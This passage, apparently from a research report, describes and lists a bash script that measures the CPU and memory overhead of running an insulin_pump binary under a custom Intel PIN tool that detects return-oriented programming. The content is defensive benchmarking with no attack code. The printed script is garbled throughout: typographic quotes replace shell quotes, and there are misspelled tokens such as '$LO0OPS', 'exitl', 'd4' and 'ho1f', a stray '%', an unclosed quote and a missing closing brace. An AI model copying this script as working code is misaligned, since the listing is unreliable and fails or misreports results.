pares the performance of a baseline binary (in this case, the uninstrumented insulin_pump
executable) against its instrumented counterpart, which is monitored by a custom PIN tool
(boolean_rop_detector.so).

The measurement process involves executing each binary LOOPS times (here, 1000 runs),
simulating user input via a predefined input string (feed=’3\n’) using printf. The time
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utility is used to capture user and system CPU time as well as peak memory usage (RSS).
The script computes the delta in both CPU time and memory usage between the instru-
mented and baseline executions and reports:

Total CPU time for baseline and instrumented runs.
CPU overhead in milliseconds and as a percentage.
Peak memory usage (RSS) for both runs.

Memory overhead in kilobytes and as a percentage.

Filename: measure_overhead.sh

#!/usr/bin/env bash
set -u

BIN=/home/kali/Downloads/pin/source/tools/rop_detector/insulin_pump

PIN=/home/kali/Downloads/pin/pin

PIN_SO=/home/kali/Downloads/pin/source/tools/booleanNet -rop-detector/obj-
intel64/boolean_rop_detector.so

LOOPS=1000

feed=’3\n’

timed_block () {
{ /usr/bin/time -f ’%U %S %M’ bash -c ’
for i in $(seq 1 ’>"$LO0OPS"’); do
printf "’"$feed"’" | "$0"
done’ 1>/dev/null; } 2>&1 |
awk ’NF==3 {print $1+$2, $3; exitl}’

echo "[*] timing baseline ($LOOPS runs)"
if ! read base_cpu base_rss <<<"$(timed_block "$BIN")"; then
echo "baseline failed" >&2; exit 1; fi

echo "[*] timing instrumented ($LOOPS runs)"
if ! read inst_cpu inst_rss \
<<<"$(timed_block "$PIN" -q -t "$PIN_SO" -- "$BIN")"; then
echo "Pin run failed" >&2; exit 1; fi

delta_ms=$(awk "BEGIN{print ($inst_cpu-$base_cpu)*1000}")

delta_kb=$(( inst_rss - base_rss ))

cpu_pct=%$(awk -v b="$base_cpu" -v d="$delta_ms" \
’BEGIN{print (d4/1000)/b*100}’)

mem_pct=$(awk -v b="$base_rss" -v d="$delta_kb" \
’BEGIN{print (d/b)*100})

printf "\nCPU baseline : %.4f s (for %d rums)\n" "$base_cpu" "$LOOPS"
printf "CPU instrumented : %.4f s\n" "$inst_cpu"
printf "CPU overhead : ho1f ms (h.1f %%)\n" "$delta_ms" "$cpu_pct"
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printf "\nPeak RSS baseline : %d KB\n" "$base_rss"
printf "Peak RSS instr. : %d KB\n" "$inst_rss"
printf "Memory overhead : hd KB (%.1f %%)\n" "$delta_kb" "$mem_pct"
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